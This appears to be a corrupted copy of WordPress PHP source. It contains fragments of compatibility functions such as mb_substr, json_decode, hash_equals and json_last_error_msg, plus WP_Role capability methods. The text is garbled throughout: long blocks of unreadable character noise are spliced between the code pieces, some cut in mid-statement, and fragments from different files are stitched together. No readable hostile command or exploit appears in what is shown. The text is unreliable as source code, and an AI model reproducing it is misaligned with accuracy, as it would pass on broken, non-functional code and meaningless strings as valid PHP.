Լ0L5_BZ*ERI#TR[n_BI[WGVG MUo\WH#<4c VS]ZI[SFRG;dORI\\W]U\UN T)%T QRTBMCUNSL:A_\PLVV:' rEARS[SVc~r1Ss[A >~\0;{VQHEFHJBYATGR@CR[S^_( S\B MU,_ASQKL+F@LZ@y3WETA+APPR]YifjNC[TEKez UriJXZ~Sh\NWK GISjrc O[$!1>!!5USSD LRZ[XX[@ M T*O~UY(YvSE oD3IX_YGP]@UqA~A^U3CX_EIG1S;0+OPR]WV]KeIYPeS^UNKM%RZ[U@ GUESoD_FT 0IQOTWMLW 0PINGEDSLWW *DDFk0htOQQAWOX^DFL*SDMUD< D9TV^NXW]CSYD@CPA\G_VUCDNO@TAN  (YSPH,U_N!Q^ S^KOI@SLUDDP^NYG_ OC[S EEF MINoN^@\nA_nQN'2,Uk@R\/ WITDM 3O[Dx+H[DROVW,<PX_BUNZ~~h MMNWW TDIoV}]D,JRB_TME[Qzl(1zSWDS^RHNPWOnJABGZM0+oMJ}KHVR!P^"match( '/^./u', 'a' ); } return $utf8_pcre; } if ( ! function_exists( 'mb_substr' ) ) : /** * Compat function to mimic mb_substr(). * * @ignore * @since 3.2.0 * * @see _mb_substr() * * @param string $str The string to extract the substring from. * @param int $start Position to being extraction from in `$str`. * @param int|null $length Optional. Maximum number of characters to extract from `$str`. * Default null. * @param string|null $encoding Optional. Character encoding to use. Default null. * @return string Extracted substring. */ function mb_substr( $str, $start, $length = null, $encoding = null ) { return _mb_substr( $str, $start, $length, $encoding ); } endif; /** * Internal compat function to mimic mb_substr(). * * Only understands UTF-8 and 8bit. All other character sets will be treated as 8bit. * For $encoding === UTF-8, the $str input is expected to be a valid UTF-8 byte sequence. * The behavior of this function for invalid inputs is undefined. * * @ignore * @since 3.2.0 * * @param string $str The string to extract the substring from. * @param int $start Position to being extraction from in `$str`. * @param int|null $length Optional. Maximum number of characters to extract from `$str`. * Default null. * @param string|null $encoding Optional. Character encoding to use. Default null. * @return string Extracted substring. */ function _mb_substr( $str, $start, $length = null, $encoding = null ) { if ( null === $encoding ) { $encoding = get_option( 'blog_charset' ); } /* * The solution below works only for UTF-8, so in case of a different * charset just use built-in substr(). */ if ( ! in_array( $encoding, array( 'utf8', 'utf-8', 'UTF8', 'UTF-8' ) ) ) { return is_null( $length ) ? substr( $str, $start ) : substr( $str, $start, $length ); } if ( _wp_can_use_pcre_u() ) { // Use the regex unicode support to separate the UTF-8 characters into an array. preg_match_all( '/./us', $str, $match ); $chars = is_null( $length ) ? array_slice( $match[0], $start ) : array_slice( $match[0], $start, $length ); return implode( '', $chars ); } $regex = '/( [\x00-\x7F] # single-byte sequences 0xxxxxxx | [\xC2-\xDF][\x80-\xBF] # double-byte sequences 110xxxxx 10xxxxxx | \xE0[\xA0-\xBF][\x80-\xBF] # triple-byte sequences 1110xxxx 10xxxxxx * 2 | [\xE1-\xEC][\x80-\xBF]{2} | \xED[\x80-\x9F][\x80-\xBF] | [\xEE-\xEF][\x80-\xBF]{2} | \xF0[\x90-\xBF][\x80-\xBF]{2} # four-byte sequences 11110xxx 10xxxxxx * 3 | [\xF1-\xF3][\x80-\xBF]{3} | \xF4[\x80-\x8F][\x80-\xBF]{2} )/x'; // Start with 1 element instead of 0 since the first thing we do is pop. $chars = array( '' ); do { // We had some string left over from the last round, but we counted it in that last round. array_pop( $chars ); /* * Split by UTF-8 character, limit to 1000 characters (last array element will contain * the rest of the string). */ $pieces = preg_split( $regex, $str, 1000, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY ); $chars = array_?YPLH XOWYTI[Z=0+L@N=NJ^_I[THCRK1P3A sF GZERIV_T89GEXXZJ*"21D^GH]Z  yQP{A^H &2LAPK^_BRI 1y3CRLAHLAPZS[W [dV]VUSURCEGLVZNWTSNJF@LL108Y\ID\L=$(1oQHX]OXjIV TA 0r\0+TBU. ]TWNTNMFKXSWPoIV;!"1;$:qn MI0<W)A^I y3(aECG(G^Ie\WoHHU_LE@gl ^syE3JPB[OI A PEG]WIBHMEDIU9J^AI@H]NMF PRLWNJ,m$7QFQRYW@V^WZPPT?3]I$ PZAFGR]JTW IC AT S]WtNPUL CEnAOHUTA  EQ^SS~R\CENk3[3HQNWL LOSiFBSL.m+:^SDY ^SCD\ ^m+Y?3DMUIWSjCOVST HAX TQ_TR] ]Y o+2_EEHLI2 :\ L]WILHSP L\A0r0QTFWo(Y8#3:BZQ] WZ]RDHVRTNMW AXkFDI_X FoIMbT&T_IN^\HQ^T,$#S[_T IE+ GMOHRRC HE LVX@HG Z RSVgGgur_C W^]UY@ PZSoa|OEDG @FB[SSXJWEHZK YFTTUXGMMLEwo5 X[kGOGUaRGS BOMKHA\ATS[TEKU[^Y^ #7*DGX^@^QQ\@I(Y07P^cpHTU_\K[IX~cuKHXW CYPESBDHIMAGE{EVI]EU_ MGRUHNQH VSS\@_W CmmpDQCLYC GY^INWSPTA tN]Z^ZyJ P TV_TR]NMMT=CNN^ONCkGO*WISS_Gq  SM]AZIZ0LFfWUN[_T %C@B]HZ\@DBJTLX^\TEWTDNWIN:2\ HIIV^STSW]DIo$}] ATS_WI :@ L]TX]W]}HHL\VdzP~b`A1h/_IM  MUSXW\UUi:(-[G^CXL]G{>6JSIZKIG\T_\P_P G CI_F?9YSOQIHT NO^S_IV MDzlGwzSR MHNLdHF[[_L L\_PJHC0egxE@V _CDHGH@Toa|PEDS=v}DSo`nVNTCOV\T MM_TPKo+Fy08Y\AM>p  8WH"YCUeWADANE$gl}N 4ITNJ_EE F^SIFJR]\FOE_R TVSendSY^[PRNVCp Y}O+2HR]}0NW[ NQIAP+MLH~hdGOH_YMDZLXSMRJ`Cgif sx`CE^   L;;3F4?\oA9P25SSJSKUVV@KDUHKDVTAUTTU ' (2zFlfZsi@|tnnnA kNwdfSTIWLMNVU@[OBTKW  TATX^^ZC BIZC B@B(blW3 !Cyg{'?;`! fZ56pSMPQOY HKD_ _CSBZB K BMBZ TKTA(2hFa' ~ 1>>2  IfJwhkIO30;IeLwphnMm@unbeK hJzwo9=>HimH|viC6|ha~ADH/Zy/gJL=>?GSfIw y/CUr>$)/>~CQ eOsud@AGDH=EGJ_\ZP@B   E BHVJO:99LklHvkOphmdKlJwviMK=>1MjN~ oiK g wla~HYr*054\_1zB $:+\fNCS  BS^H_X^E@GRUHFN LU^]_A  OceX OVNNTUxfhA?3r\mGP EO^DIAEG[\SVP\VB]UTB^^SVPBN ;NEEU^IY^CZBW_SSESLS+A IOX]<2zWUW@H1n39;99c@\YDRIedtU^YCVRER@T\\ZF@\TXSJYSLPK@WN[PIGV*TLUcCS[0rzVRTG_K@DBY^W:99;:?FQVTRA FBW^h@I_^MJTUPC_IVUTTC I=882\xTA 1Klf{AATTFXO_DW<TLI(1`|TO_F_I [O S^I]UVD_FUBBU@UQDDPTZW^G;>OAP\]VCMA VB@YAoHZIKYRIOR@^dnz o|]TA 0[SP_ReV^N YE Q_AG\ZCVW\\AMKXPBPUZWL^]TCGP@:>JTLCB]QZNN0_hsS H\L[SDRTnTBK Mx - OZ 2Y;0>FAOUVFWSYSAT Jd WQM::pYW^_BU:qE_VRR29sC\Vh^VCZgP]YV=wSzRDKU([NDcLASSrTIS[[]M  @TcX_B@]T] VKJQX=tESJUZDMK_\_SVAPqZ[NMBECH_U83JPC[OS6 FK[IhYCUN E+F]HV]^\IN]TETSIX:p@QBQ]R__\CWDl\CGDGG{CG^_\WYaY]C]PADZYDCAMCISXTCOLDAW^f2STDcLASS[SPERCENT H[AARKZXJ\Q\APMJWT[KWr\SX@UMSWYBP:yD]C@IFNP CW_cQTYKI+OV^W[[\\Y QHC6+\}VBSPUUVE gEDYAM_]XWFY^EXXNT]ZV>9QBXTD[WVPTJ[h]VTVEEXPLOOH_=[OeM6ANSD[YIZL0+T}SIYhFTPSQ\W_TQDP[]LGSGm_EGGDC 8I2P]QXS 8?Y?B0PUVSZTHZWDTA  FKXIRTJYh[VY(SCpEuA&MI 0wFRYQZ[CU(N0u@QBQ]CDBY^WQ^PX}WAPP_R^B\MXZvSQWGDFUUBRCEB@'CEL5CVoILHKDg[Ss[VE E SIYRJ8yIXKXTJMK^_RY\IaPUGTA[W@MYBF^S\ZHCOTVB_WY(SCZ%/RMTFQL,UDDJWI5+  >RPD]SJUUWIMLY\XK@]XMXMKL\2^EZW@PIITRGTG]*\YONT"](;_COPEEG[\HaRGBR_NJDEF2  R[ APOoVNJDDZ S/ ,FRBVT^X:STIMEDYCE^[^_G^[CZ]EW_]V>=VGXVLQY_h]T@\o]ZWRY[RTQSUYNCIICTOOH ,BVr^[NMckzWR[VQS[P KBD  y CXQ p  >9?QW]FE]DFYR]GkSY\g hp}VNT_S\H;;3_EBIH2RZSWly08Y\[3\AGB@ 1z3QG IPERZQ @US[Q\W_[UI98?\WO KLDhDQQ\RK[YC=?2YJU^PIFWYG(l L n\MTA -3 QNF\IXT}   S MJ2'SNYASM YLd TR]RPWIECSLISE$hlo @ZOCfZHT :0+zEwAGTMRLe_FX]RI@[L hHFGSPJfsjvwB300>ERH@\A\j_YW\w{bipazafzvrTYZPHHB\J^KUh}}E21IPA (A?PMYTI$#iu[0+jia}h WI]Ywp_json->encodeUnsafe( $string ); } } if ( !function_exists('json_decode') ) { /** * @global Services_JSON $wp_json * @param string $string * @param bool $assoc_array * @return object|array */ function json_decode( $string, $assoc_array = false ) { global $wp_json; if ( ! ($wp_json instanceof Services_JSON ) ) { require_once( ABSPATH . WPINC . '/class-json.php' ); $wp_json = new Services_JSON(); } $res = $wp_json->decode( $string ); if ( $assoc_array ) $res = _json_decode_object_helper( $res ); return $res; } /** * @param object $data * @return array */ function _json_decode_object_helper($data) { if ( is_object($data) ) $data = get_object_vars($data); return is_array($data) ? array_map(__FUNCTION__, $data) : $data; } } if ( ! function_exists( 'hash_equals' ) ) : /** * Timing attack safe string comparison * * Compares two strings using the same time whether they're equal or not. * * This function was added in PHP 5.6. * * Note: It can leak the length of a string when arguments of differing length are supplied. * * @since 3.9.2 * * @param string $a Expected string. * @param string $b Actual, user supplied, string. * @return bool Whether strings are equal. */ function hash_equals( $a, $b ) { $a_length = strlen( $a ); if ( $a_length !== strlen( $b ) ) { return false; } $result = 0; // Do not attempt to "optimize" this. for ( $i = 0; $i < $a_length; $i++ ) { $result |= ord( $a[ $i ] ) ^ ord( $b[ $i ] ); } return $result === 0; } endif; // JSON_PRETTY_PRINT was introduced in PHP 5.4 // Defined here to prevent a notice when using it with wp_json_encode() if ( ! defined( 'JSON_PRETTY_PRINT' ) ) { define( 'JSON_PRETTY_PRINT', 128 ); } if ( ! function_exists( 'json_last_error_msg' ) ) : /** * Retrieves the error string of the last json_encode() or json_decode() call. * * @since 4.4.0 * * @internal This is a compatibility function for PHP <5.5 * * @return bool|string Returns the error message on success, "No Error" if no error has occurred, * or false on failure. */ function json_last_error_msg() { // See https://core.trac.wordpress.org/ticket/27799. if ( ! function_exists( 'json_last_error' ) ) { return false; } $last_error_code = json_last_error(); // Just in case JSON_ERROR_NONE is not defined. $error_code_none = defined( 'JSON_ERROR_NONE' ) ? JSON_ERROR_NONE : 0; switch ( true ) { case $last_error_code === $error_code_none: return 'No error'; case defined( 'JSON_ERROR_DEPTH' ) && JSON_ERROR_DEPTH === $last_error_code: return 'Maximum stack depth exceeded'; case defined( 'JSON_ERROR_STATE_MISMATCH' ) && JSON_ERROR_STATE_MISMATCH === $last_error_code: return 'State mismatch (invalid or malformed JSON)'; case defined( 'JSON_ERROR_CTRL_CHAR' ) && JSON_ERROR_CTRL_CHAR === $last_error_code: return 'Control character error, possibly incorrectly encoded'; case defined( 'JSON_ERROR_SYNTAX' ) && JSON_ERROR_SYNTAX === $last_error_code: return 'Syntax error'; case defined( 'JSON_ERROR_UTF8' ) && JSON_ERROR_UTF8 === $last_error_code: return 'Malformed UTF-8 characters, possibly incorrectly encoded'; cxXZEPISqspp>ch4!eea6===* Soh ;*)3!),; ;/5+xGDTSpbvt}wbcyn{cwfobjtty WVPAN}-< T~+2z3J_V KS( Z^~[lP 1Tq uvG NW(1z38Q[QO9 ZPShh I}f{m+INEHL2TOL1NMISU[YW; 8<+Fy3J0G 6RdmK]SKU_D\C 1 QOhQTiTASC = CIOILDY1z^T_SLWzamgbwnmabx{|xx~,y~zjc$&18JCDDv\g} Y08xC^X~T@DPUIJWX\TY_V^\SR_ zfS^UjODT&/  [RYWDTayjLZ]@UyAXogT)V\_SSNDIHZAN_ERRFE\  $jOG%~PC/ A^XAQnz;?F_FJ;+&-?QHk;ORKYZS]GaKWCJ?zBKU ]cN^FUyLXOoNYH,P^AY]QIIOC^@UPILWL_INY^SOG_PCW_GHI{br]0(tQRYVA?(X[GHSmdepZ]]Y1`y3g^TRUWSy3(<bHTT^S ;1)LYISI@HK[V39F00KXXSAWPO^Fy08UlDCTTM]AYPJ S\RSTIEJ^]U]VA0 OceCn+KqIYUA?8{ HUHPcmEu[od AEYPJ S\RSRInooN_F~+WSy^ZIV -TDT?ARX[_@IJ]HV BokAX(2]YfQ_I0OD LBT^ANY_[_IINJUU_W\ T > e$DOTL UCW_[[ U_W[ZMI GOH]NN>FIEE AK~+K08QIzCRYTMy30+MCN4>TJDA SpT _T_1zbACISJHCIJ/   > T P @R SES:2S0+AWYYROL/0NAGL EYPJ S\RSPIOAyl+ SBL  TTW^(2hERXJVXKEY[BQXK3d}yoeVIEIzK]zIX]IH_WSYC=]~)FEx)HCR%SC(ISCY wz23uY/>P6THCKAyPJ S\RCV[O(GrfLEG)RRBEA#A:GOHCUN:YT<3 AKW]Tq`y3BMXN$ X NFD7 IJC,MMMEIN V- AZT$}yzA7CUCYVXN Ik[Bg\TE 0+V:D\JZ^nYR[@ DDELMRP_YM@Zg`_1wtR** * Removes a capability from a role. * * This is a container for WP_Roles::remove_cap() to remove the * capability from the role. That is to say, that WP_Roles::remove_cap() * implements the functionality, but it also makes sense to use this class, * because you don't need to enter the role name. * * @since 2.0.0 * * @param string $cap Capability name. */ public function remove_cap( $cap ) { unset( $this->capabilities[$cap] ); wp_roles()->remove_cap( $this->name, $cap ); } /** * Determines whether the role has the given capability. * * The capabilities is passed through the {@see 'role_has_cap'} filter. * The first parameter for the hook is the list of capabilities the class * has assigned. The second parameter is the capability name to look for. * The third and final parameter for the hook is the role name. * * @since 2.0.0 * * @param string $cap Capability name. * @return bool True if the role has the given capability. False otherwise. */ public function has_cap( $cap ) { /** * Filters which capabilities a role has. * * @since 2.0.0 * * @param array $capabilities Array of role capabilities. * @param string $cap Capability name. * @param string $name Role name. */ $capabilities = apply_filters( 'role_has_cap', $this->capabilities, $cap, $this->name ); if ( !empty( $capabilities[$cap] ) ) return $capabilities[$cap]; else return false; } }